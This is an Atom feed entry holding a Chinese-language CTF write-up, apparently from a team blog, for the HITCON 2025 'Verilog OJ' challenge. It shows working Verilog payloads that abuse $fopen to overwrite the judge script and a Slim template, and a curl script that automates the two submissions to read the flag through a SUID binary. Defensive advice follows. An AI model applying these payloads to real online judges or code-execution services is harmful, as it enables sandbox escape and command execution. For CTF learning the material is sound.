https://NormalSubgroup.cauchy.top • 这是Web Feed，又称为Atom Feed，把现在的网址复制到新闻阅读器即可订阅本站文章。造访「About Feeds」来了解更多资讯。 造访网站 近期文章 更新于 $DATE light date Reverse Normal SubGroup team blog Zola2025-08-25T00:00:00+00:00https://NormalSubgroup.cauchy.top/tags/reverse/atom.xml 2025-08-25T00:00:00+00:00 2025-08-25T00:00:00+00:00 Normal SubGroup https://NormalSubgroup.cauchy.top/blog/hitcon2025/ <h1 id="verilog-oj-284pts-ctf-write-up">Verilog OJ [284pts] - CTF Write-up</h1> <h2 id="ti-mu-gai-shu">题目概述</h2> <p>这是一道基于 Verilog 硬件描述语言的在线判题系统（OJ）渗透题目。选手需要通过提交 Verilog 代码来获取服务器上的 flag。</p> <p><strong>难度</strong>：284 分<br /> <strong>类型</strong>：Web + 硬件安全 + 文件写入<br /> <strong>Flag</strong>：<code>hitcon{testflag}</code></p> <hr /> <h2 id="huan-jing-fen-xi">环境分析</h2> <h3 id="jia-gou-gai-lan">架构概览</h3> <pre class="giallo z-code"><code data-lang="plain"><span class="giallo-l"><span>Docker 容器环境：</span></span> <span class="giallo-l"><span>├── Ruby on Rails (Roda) Web 应用</span></span> <span class="giallo-l"><span>├── SQLite 数据库</span></span> <span class="giallo-l"><span>├── Redis (Sidekiq 任务队列)</span></span> <span class="giallo-l"><span>├── Icarus Verilog 仿真器 (iverilog + vvp)</span></span> <span class="giallo-l"><span>└── SUID 程序 /readflag</span></span></code></pre><h3 id="guan-jian-wen-jian-jie-gou">关键文件结构</h3> <pre class="giallo z-code"><code data-lang="plain"><span class="giallo-l"><span>/app/</span></span> <span class="giallo-l"><span>├── scripts/judge.sh # 判题脚本（关键攻击点）</span></span> <span class="giallo-l"><span>├── app/presentation/public/ # 静态文件目录（目标写入点）</span></span> <span class="giallo-l"><span>├── app/db/store/voj.db # SQLite 数据库</span></span> <span class="giallo-l"><span>└── app/ # Rails 应用目录</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>/readflag # SUID root 程序</span></span> <span class="giallo-l"><span>/flag # 目标文件（root:root, 0400）</span></span></code></pre> <hr /> <h2 id="lou-dong-fen-xi-guo-cheng">漏洞分析过程</h2> <h3 id="di-yi-bu-wen-jian-mei-ju-yu-jia-gou-li-jie">第一步：文件枚举与架构理解</h3> <p>首先通过 <code>fd</code> 和 <code>rg</code> 快速扫描所有相关文件：</p> <pre class="giallo z-code"><code data-lang="shellscript"><span class="giallo-l"><span class="z-entity z-name z-function">fd</span><span class="z-string"> . --type f --max-depth</span><span class="z-constant z-numeric"> 10</span><span class="z-keyword z-operator"> |</span><span class="z-entity z-name z-function"> head</span><span class="z-string"> -30</span></span></code></pre> <p>发现关键组件：</p> <ul> <li><code>Dockerfile</code> - 容器构建逻辑</li> <li><code>readflag.c</code> - SUID 程序源码</li> <li><code>web/scripts/judge.sh</code> - 判题脚本</li> <li><code>web/app/services/run_judge.rb</code> - 判题服务</li> <li><code>web/config.ru</code> - Web 应用配置</li> </ul> <h3 id="di-er-bu-suid-cheng-xu-fen-xi">第二步：SUID 程序分析</h3> <p>读取 <code>readflag.c</code>：</p> <pre class="giallo z-code"><code data-lang="c"><span class="giallo-l"><span class="z-storage z-type">int</span><span class="z-entity z-name z-function"> main</span><span class="z-punctuation">(</span><span class="z-storage z-type">int</span><span class="z-variable z-parameter"> argc</span><span class="z-punctuation">,</span><span class="z-storage z-type"> char</span><span class="z-keyword z-operator"> *</span><span class="z-variable z-parameter">argv</span><span class="z-storage z-modifier">[]</span><span class="z-punctuation">) {</span></span> <span class="giallo-l"><span class="z-entity z-name z-function"> seteuid</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">);</span></span> <span class="giallo-l"><span class="z-entity z-name z-function"> setegid</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">);</span></span> <span class="giallo-l"><span class="z-entity z-name z-function"> setuid</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">);</span></span> <span class="giallo-l"><span class="z-entity z-name z-function"> setgid</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">);</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-punctuation">(</span><span class="z-source">argc </span><span class="z-keyword z-operator">&lt;</span><span class="z-constant z-numeric"> 5</span><span class="z-punctuation">) {</span></span> <span class="giallo-l"><span class="z-entity z-name z-function"> printf</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Usage: %s give me the flag</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-source"> argv</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]);</span></span> <span class="giallo-l"><span class="z-keyword"> return</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">;</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-punctuation"> ((</span><span class="z-entity z-name z-function">strcmp</span><span class="z-punctuation">(</span><span class="z-source">argv</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">],</span><span class="z-punctuation z-definition z-string z-string"> &quot;give&quot;</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> |</span><span class="z-entity z-name z-function"> strcmp</span><span class="z-punctuation">(</span><span class="z-source">argv</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">],</span><span class="z-punctuation z-definition z-string z-string"> &quot;me&quot;</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> |</span><span class="z-entity z-name z-function"> strcmp</span><span class="z-punctuation">(</span><span class="z-source">argv</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">],</span><span class="z-punctuation z-definition z-string z-string"> &quot;the&quot;</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> |</span><span class="z-entity z-name z-function"> strcmp</span><span class="z-punctuation">(</span><span class="z-source">argv</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">4</span><span class="z-punctuation">],</span><span class="z-punctuation z-definition z-string z-string"> &quot;flag&quot;</span><span class="z-punctuation">))</span><span class="z-keyword z-operator"> !=</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">) {</span></span> <span class="giallo-l"><span class="z-entity z-name z-function"> puts</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;You are not worthy&quot;</span><span class="z-punctuation">);</span></span> <span class="giallo-l"><span class="z-keyword"> return</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">;</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> // ... 读取并输出 /flag 内容</span></span> <span class="giallo-l"><span class="z-punctuation">}</span></span></code></pre> <p><strong>关键发现</strong>：</p> <ul> <li><code>/readflag</code> 具有 SUID root 权限（4555）</li> <li>需要精确的四个参数：<code>give me the flag</code></li> <li>成功后会以 root 权限读取 <code>/flag</code> 并输出</li> </ul> <h3 id="di-san-bu-pan-ti-liu-cheng-fen-xi">第三步：判题流程分析</h3> <p>通过分析 <code>judge_job.rb</code> 和 <code>judge.sh</code>，理解判题执行链：</p> <pre class="giallo z-code"><code data-lang="ruby"><span class="giallo-l"><span class="z-keyword">def</span><span class="z-entity z-name z-function"> judge</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">dir</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> stdout</span><span class="z-punctuation">,</span><span class="z-source"> stderr</span><span class="z-punctuation">,</span><span class="z-source"> status </span><span class="z-keyword z-operator">=</span><span class="z-support z-class"> Timeout</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">timeout</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">15</span><span class="z-punctuation">)</span><span class="z-keyword"> do</span></span> <span class="giallo-l"><span class="z-source"> script_path</span><span class="z-keyword z-operator"> =</span><span class="z-support z-class"> File</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">realpath</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">#{</span><span class="z-support z-class">File</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">dirname</span><span class="z-punctuation">(</span><span class="z-variable">__FILE__</span><span class="z-punctuation">)}</span><span class="z-string z-punctuation z-definition z-string">/../../scripts/judge.sh&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-class"> Open3</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">capture3</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">#{</span><span class="z-source">script_path</span><span class="z-punctuation">} #{</span><span class="z-source">dir</span><span class="z-punctuation">}</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> end</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # ...</span></span> <span class="giallo-l"><span class="z-keyword">end</span></span></code></pre><pre class="giallo z-code"><code data-lang="shellscript"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-shebang z-shell z-meta z-shebang z-shell">#!/bin/sh</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin">set</span><span class="z-string"> -e</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin">cd</span><span class="z-punctuation z-definition z-string"> &quot;</span><span class="z-variable z-parameter">$1</span><span class="z-punctuation z-definition z-string">&quot;</span></span> <span class="giallo-l"><span class="z-entity z-name z-function">iverilog</span><span class="z-string"> module.v testbench.v -o judge</span></span> <span class="giallo-l"><span class="z-entity z-name z-function">vvp</span><span class="z-string"> judge</span></span></code></pre> <p><strong>执行流程</strong>：</p> <ol> <li>用户提交 Verilog 代码 → Sidekiq 异步处理</li> <li>创建临时目录，写入 <code>module.v</code>（用户代码）和 <code>testbench.v</code>（题目测试）</li> <li>调用 <code>/app/scripts/judge.sh</code> 进行编译和仿真</li> <li>捕获输出并存储结果</li> </ol> <h3 id="di-si-bu-ti-mu-yao-qiu-fen-xi">第四步：题目要求分析</h3> <p>查看数据库中的 testbench：</p> <pre class="giallo z-code"><code data-lang="sql"><span class="giallo-l"><span class="z-keyword">SELECT</span><span class="z-source"> testbench </span><span class="z-keyword">FROM</span><span class="z-source"> problems </span><span class="z-keyword">WHERE</span><span class="z-source"> id</span><span class="z-keyword z-operator">=</span><span class="z-constant z-numeric">1</span><span class="z-source">;</span></span></code></pre> <p>发现需要实现一个 4 位 2×2 交叉开关模块 <code>Crossbar_2x2_4bit</code>：</p> <ul> <li>当 <code>control = 0</code>：直通模式（out1=in1, out2=in2）</li> <li>当 <code>control = 1</code>：交叉模式（out1=in2, out2=in1）</li> </ul> <h3 id="di-wu-bu-gong-ji-xiang-liang-tan-suo">第五步：攻击向量探索</h3> <h4 id="chang-shi-1-zhi-jie-shi-yong-system">尝试 1：直接使用 <code>$system</code></h4> <p>最初尝试在 Verilog 中直接调用系统命令：</p> <pre class="giallo z-code"><code data-lang="verilog"><span class="giallo-l"><span class="z-keyword">initial begin</span></span> <span class="giallo-l"><span class="z-source"> $system(</span><span class="z-string">&quot;/readflag give me the flag &gt; /app/app/presentation/public/flag.txt&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-keyword">end</span></span></code></pre> <p><strong>结果</strong>：失败 ❌</p> <pre class="giallo z-code"><code data-lang="plain"><span class="giallo-l"><span>module.v:12: Error: System task/function $system() is not defined by any module.</span></span></code></pre> <p><strong>分析</strong>：Icarus Verilog 默认禁用了 <code>$system</code> 函数，无法直接执行系统命令。</p> <h4 id="chang-shi-2-mo-ban-zhu-ru-gong-ji">尝试 2：模板注入攻击</h4> <p>尝试通过 <code>$fopen</code> 覆盖 Slim 模板文件：</p> <pre class="giallo z-code"><code data-lang="verilog"><span class="giallo-l"><span class="z-keyword">integer</span><span class="z-source"> fd;</span></span> <span class="giallo-l"><span class="z-keyword">initial begin</span></span> <span class="giallo-l"><span class="z-source"> fd </span><span class="z-keyword z-operator">=</span><span class="z-support z-function"> $fopen</span><span class="z-source">(</span><span class="z-string">&quot;/app/app/presentation/views/submissions.slim&quot;</span><span class="z-source">, </span><span class="z-string">&quot;w&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> (fd) </span><span class="z-keyword">begin</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;= %x{/readflag give me the flag}&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fclose</span><span class="z-source">(fd);</span></span> <span class="giallo-l"><span class="z-keyword"> end</span></span> <span class="giallo-l"><span class="z-keyword">end</span></span></code></pre> <p><strong>结果</strong>：部分成功但不稳定 ⚠️</p> <p><strong>问题</strong>：生产环境可能缓存模板，且需要额外的页面访问触发。</p> <h4 id="chang-shi-3-pan-ti-jiao-ben-fu-gai-cheng-gong-fang-an-white-check-mark">尝试 3：判题脚本覆盖（成功方案）✅</h4> <p><strong>核心思路</strong>：既然无法直接执行系统命令，那就修改执行命令的脚本！</p> <p>通过 <code>$fopen</code> 完全覆盖 <code>/app/scripts/judge.sh</code>：</p> <pre class="giallo z-code"><code data-lang="verilog"><span class="giallo-l"><span class="z-keyword">integer</span><span class="z-source"> fd;</span></span> <span class="giallo-l"><span class="z-keyword">initial begin</span></span> <span class="giallo-l"><span class="z-source"> fd </span><span class="z-keyword z-operator">=</span><span class="z-support z-function"> $fopen</span><span class="z-source">(</span><span class="z-string">&quot;/app/scripts/judge.sh&quot;</span><span class="z-source">, </span><span class="z-string">&quot;w&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> (fd) </span><span class="z-keyword">begin</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;#!/bin/sh&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;set -e&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;/readflag give me the flag &gt; /app/app/presentation/public/flag.txt&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;cd </span><span class="z-constant z-character z-escape">\&quot;</span><span class="z-string">$1</span><span class="z-constant z-character z-escape">\&quot;</span><span class="z-string">&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;iverilog module.v testbench.v -o judge&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;vvp judge&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fclose</span><span class="z-source">(fd);</span></span> <span class="giallo-l"><span class="z-keyword"> end</span></span> <span class="giallo-l"><span class="z-keyword">end</span></span></code></pre> <p><strong>优势</strong>：</p> <ul> <li>在脚本开头插入 <code>/readflag</code> 调用</li> <li>保持原有判题逻辑，不影响后续流程</li> <li>输出重定向到 Web 可访问的静态目录</li> </ul> <hr /> <h2 id="zui-zhong-li-yong-fang-an">最终利用方案</h2> <h3 id="payload-she-ji">Payload 设计</h3> <p>需要两次提交：</p> <p><strong>第一次提交</strong>：覆盖判题脚本</p> <pre class="giallo z-code"><code data-lang="verilog"><span class="giallo-l"><span class="z-keyword">`timescale</span><span class="z-source"> 1ns</span><span class="z-keyword z-operator">/</span><span class="z-source">1ps</span></span> <span class="giallo-l"><span class="z-storage z-type">module</span><span class="z-entity z-name z-type"> Crossbar_2x2_4bit</span><span class="z-source">(</span></span> <span class="giallo-l"><span class="z-keyword"> input</span><span class="z-source"> [</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">0</span><span class="z-source">] in1,</span></span> <span class="giallo-l"><span class="z-keyword"> input</span><span class="z-source"> [</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">0</span><span class="z-source">] in2,</span></span> <span class="giallo-l"><span class="z-keyword"> input</span><span class="z-source"> control,</span></span> <span class="giallo-l"><span class="z-keyword"> output</span><span class="z-source"> [</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">0</span><span class="z-source">] out1,</span></span> <span class="giallo-l"><span class="z-keyword"> output</span><span class="z-source"> [</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">0</span><span class="z-source">] out2</span></span> <span class="giallo-l"><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-keyword"> assign</span><span class="z-source"> out1 </span><span class="z-keyword z-operator">=</span><span class="z-source"> control ? in2 : in1;</span></span> <span class="giallo-l"><span class="z-keyword"> assign</span><span class="z-source"> out2 </span><span class="z-keyword z-operator">=</span><span class="z-source"> control ? in1 : in2;</span></span> <span class="giallo-l"><span class="z-keyword"> integer</span><span class="z-source"> fd;</span></span> <span class="giallo-l"><span class="z-keyword"> initial begin</span></span> <span class="giallo-l"><span class="z-source"> fd </span><span class="z-keyword z-operator">=</span><span class="z-support z-function"> $fopen</span><span class="z-source">(</span><span class="z-string">&quot;/app/scripts/judge.sh&quot;</span><span class="z-source">, </span><span class="z-string">&quot;w&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> (fd) </span><span class="z-keyword">begin</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;#!/bin/sh&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;set -e&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;/readflag give me the flag &gt; /app/app/presentation/public/flag.txt&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;cd </span><span class="z-constant z-character z-escape">\&quot;</span><span class="z-string">$1</span><span class="z-constant z-character z-escape">\&quot;</span><span class="z-string">&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;iverilog module.v testbench.v -o judge&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fdisplay</span><span class="z-source">(fd, </span><span class="z-string">&quot;vvp judge&quot;</span><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-support z-function"> $fclose</span><span class="z-source">(fd);</span></span> <span class="giallo-l"><span class="z-keyword"> end</span></span> <span class="giallo-l"><span class="z-keyword"> end</span></span> <span class="giallo-l"><span class="z-storage z-type">endmodule</span></span></code></pre> <p><strong>第二次提交</strong>：触发新脚本执行</p> <pre class="giallo z-code"><code data-lang="verilog"><span class="giallo-l"><span class="z-keyword">`timescale</span><span class="z-source"> 1ns</span><span class="z-keyword z-operator">/</span><span class="z-source">1ps</span></span> <span class="giallo-l"><span class="z-storage z-type">module</span><span class="z-entity z-name z-type"> Crossbar_2x2_4bit</span><span class="z-source">(</span></span> <span class="giallo-l"><span class="z-keyword"> input</span><span class="z-source"> [</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">0</span><span class="z-source">] in1,</span></span> <span class="giallo-l"><span class="z-keyword"> input</span><span class="z-source"> [</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">0</span><span class="z-source">] in2,</span></span> <span class="giallo-l"><span class="z-keyword"> input</span><span class="z-source"> control,</span></span> <span class="giallo-l"><span class="z-keyword"> output</span><span class="z-source"> [</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">0</span><span class="z-source">] out1,</span></span> <span class="giallo-l"><span class="z-keyword"> output</span><span class="z-source"> [</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">:</span><span class="z-constant z-numeric">0</span><span class="z-source">] out2</span></span> <span class="giallo-l"><span class="z-source">);</span></span> <span class="giallo-l"><span class="z-keyword"> assign</span><span class="z-source"> out1 </span><span class="z-keyword z-operator">=</span><span class="z-source"> control ? in2 : in1;</span></span> <span class="giallo-l"><span class="z-keyword"> assign</span><span class="z-source"> out2 </span><span class="z-keyword z-operator">=</span><span class="z-source"> control ? in1 : in2;</span></span> <span class="giallo-l"><span class="z-storage z-type">endmodule</span></span></code></pre><h3 id="zi-dong-hua-li-yong-jiao-ben">自动化利用脚本</h3> <pre class="giallo z-code"><code data-lang="shellscript"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-shebang z-shell z-meta z-shebang z-shell">#!/bin/zsh</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin">set</span><span class="z-string"> -euo pipefail</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">PORT</span><span class="z-keyword z-operator">=</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation z-definition z-variable z-variable z-other z-normal z-shell">${PORT</span><span class="z-keyword z-operator">:-</span><span class="z-variable z-other z-normal z-shell z-punctuation z-definition z-variable">9292}</span><span class="z-punctuation z-definition z-string">&quot;</span></span> <span class="giallo-l"><span class="z-source">BASE_URL</span><span class="z-keyword z-operator">=</span><span class="z-punctuation z-definition z-string z-string">&quot;http://127.0.0.1:</span><span class="z-punctuation z-definition z-variable z-variable z-other z-normal z-shell">${PORT}</span><span class="z-punctuation z-definition z-string">&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># 检查服务状态</span></span> <span class="giallo-l"><span class="z-keyword">if</span><span class="z-keyword z-operator"> !</span><span class="z-entity z-name z-function"> curl</span><span class="z-string z-punctuation z-definition z-string"> -fsS &quot;</span><span class="z-punctuation z-definition z-variable z-variable z-other z-normal z-shell">${BASE_URL}</span><span class="z-string z-punctuation z-definition z-string">/&quot;</span><span class="z-keyword z-operator"> &gt;</span><span class="z-string">/dev/null</span><span class="z-punctuation">;</span><span class="z-keyword"> then</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin"> printf</span><span class="z-punctuation z-definition z-string z-string"> &quot;服务未运行，请先启动 docker compose up -d\n&quot;</span><span class="z-keyword z-operator"> &gt;&amp;2</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin"> exit</span><span class="z-constant z-numeric"> 1</span></span> <span class="giallo-l"><span class="z-keyword">fi</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># 第一次提交：覆盖脚本</span></span> <span class="giallo-l"><span class="z-entity z-name z-function">curl</span><span class="z-string z-punctuation z-definition z-string"> -sS -X POST &quot;</span><span class="z-punctuation z-definition z-variable z-variable z-other z-normal z-shell">${BASE_URL}</span><span class="z-string z-punctuation z-definition z-string">/judge&quot;</span><span class="z-constant z-character z-escape"> \</span></span> <span class="giallo-l"><span class="z-string z-punctuation z-definition z-string"> --data-urlencode &quot;problem=1&quot;</span><span class="z-constant z-character z-escape"> \</span></span> <span class="giallo-l"><span class="z-string"> --data-urlencode code@payload1.v</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-entity z-name z-function">sleep</span><span class="z-constant z-numeric"> 5</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># 第二次提交：触发执行</span></span> <span class="giallo-l"><span class="z-entity z-name z-function">curl</span><span class="z-string z-punctuation z-definition z-string"> -sS -X POST &quot;</span><span class="z-punctuation z-definition z-variable z-variable z-other z-normal z-shell">${BASE_URL}</span><span class="z-string z-punctuation z-definition z-string">/judge&quot;</span><span class="z-constant z-character z-escape"> \</span></span> <span class="giallo-l"><span class="z-string z-punctuation z-definition z-string"> --data-urlencode &quot;problem=1&quot;</span><span class="z-constant z-character z-escape"> \</span></span> <span class="giallo-l"><span class="z-string"> --data-urlencode code@payload2.v</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># 轮询获取 flag</span></span> <span class="giallo-l"><span class="z-keyword">for</span><span class="z-source"> i</span><span class="z-keyword"> in</span><span class="z-punctuation"> $(</span><span class="z-entity z-name z-function">seq</span><span class="z-constant z-numeric"> 1 60</span><span class="z-punctuation">);</span><span class="z-keyword"> do</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-entity z-name z-function"> curl</span><span class="z-string z-punctuation z-definition z-string"> -fsS &quot;</span><span class="z-punctuation z-definition z-variable z-variable z-other z-normal z-shell">${BASE_URL}</span><span class="z-string z-punctuation z-definition z-string">/flag.txt&quot;</span><span class="z-keyword z-operator"> 2&gt;</span><span class="z-string">/dev/null</span><span class="z-punctuation">;</span><span class="z-keyword"> then</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin"> exit</span><span class="z-constant z-numeric"> 0</span></span> <span class="giallo-l"><span class="z-keyword"> fi</span></span> <span class="giallo-l"><span class="z-entity z-name z-function"> sleep</span><span class="z-constant z-numeric"> 2</span></span> <span class="giallo-l"><span class="z-keyword">done</span></span></code></pre> <hr /> <h2 id="ji-shu-xi-jie">技术细节</h2> <h3 id="guan-jian-lu-jing-fen-xi">关键路径分析</h3> <ol> <li> <p><strong>静态文件目录</strong>：通过分析 <code>config.ru</code> 发现 Roda 配置了静态文件服务</p> <pre class="giallo z-code"><code data-lang="ruby"><span class="giallo-l"><span class="z-source">plugin </span><span class="z-punctuation">:</span><span class="z-constant z-language">public</span><span class="z-punctuation">,</span><span class="z-constant z-language"> root</span><span class="z-punctuation">:</span><span class="z-punctuation z-definition z-string z-string"> &#39;app/presentation/public&#39;</span></span></code></pre></li> <li> <p><strong>脚本执行路径</strong>：从 <code>judge_job.rb</code> 确认脚本路径为 <code>/app/scripts/judge.sh</code></p> <pre class="giallo z-code"><code data-lang="ruby"><span class="giallo-l"><span class="z-source">script_path</span><span class="z-keyword z-operator"> =</span><span class="z-support z-class"> File</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">realpath</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">#{</span><span class="z-support z-class">File</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">dirname</span><span class="z-punctuation">(</span><span class="z-variable">__FILE__</span><span class="z-punctuation">)}</span><span class="z-string z-punctuation z-definition z-string">/../../scripts/judge.sh&quot;</span><span class="z-punctuation">)</span></span></code></pre></li> <li> <p><strong>权限模型</strong>：</p> <ul> <li>Web 应用运行用户：<code>app</code></li> <li><code>/readflag</code> 权限：<code>root:root 4555</code></li> <li>静态目录权限：<code>app</code> 可写</li> </ul> </li> </ol> <h3 id="an-quan-ji-zhi-rao-guo">安全机制绕过</h3> <ol> <li><strong>$system 禁用绕过</strong>：使用 <code>$fopen</code> 间接执行</li> <li><strong>权限提升</strong>：利用 SUID 程序特性</li> <li><strong>文件写入限制绕过</strong>：选择 Web 可访问的静态目录</li> <li><strong>沙箱逃逸</strong>：通过覆盖系统脚本实现代码执行</li> </ol> <hr /> <h2 id="ben-di-ce-shi-yan-zheng">本地测试验证</h2> <h3 id="huan-jing-qi-dong">环境启动</h3> <pre class="giallo z-code"><code data-lang="shellscript"><span class="giallo-l"><span class="z-entity z-name z-function">docker</span><span class="z-string"> compose up -d</span></span></code></pre><h3 id="zhi-xing-li-yong">执行利用</h3> <pre class="giallo z-code"><code data-lang="shellscript"><span class="giallo-l"><span class="z-entity z-name z-function">./voj_exploit.sh</span></span></code></pre><h3 id="yan-zheng-jie-guo">验证结果</h3> <pre class="giallo z-code"><code data-lang="shellscript"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># 检查脚本是否被覆盖</span></span> <span class="giallo-l"><span class="z-entity z-name z-function">docker</span><span class="z-string"> exec verilogoj284pts-oj-1 cat /app/scripts/judge.sh</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># 验证 flag 文件</span></span> <span class="giallo-l"><span class="z-entity z-name z-function">docker</span><span class="z-string"> exec verilogoj284pts-oj-1 cat /app/app/presentation/public/flag.txt</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># HTTP 访问验证</span></span> <span class="giallo-l"><span class="z-entity z-name z-function">curl</span><span class="z-string"> http://127.0.0.1:9292/flag.txt</span></span></code></pre> <p><strong>输出</strong>：<code>hitcon{testflag}</code></p> <hr /> <h2 id="fang-yu-jian-yi">防御建议</h2> <h3 id="dai-ma-ceng-mian">代码层面</h3> <ol> <li><strong>禁用文件系统写入</strong>：限制 Verilog 仿真器的文件操作权限</li> <li><strong>沙箱隔离</strong>：使用更严格的容器安全策略</li> <li><strong>脚本保护</strong>：将关键脚本设置为只读或使用不可变文件系统</li> </ol> <h3 id="jia-gou-ceng-mian">架构层面</h3> <ol> <li><strong>最小权限原则</strong>：避免使用 SUID 程序，改用更安全的权限提升机制</li> <li><strong>文件系统隔离</strong>：将用户代码执行环境与 Web 应用完全隔离</li> <li><strong>输出过滤</strong>：对仿真器输出进行严格过滤和验证</li> </ol> <h3 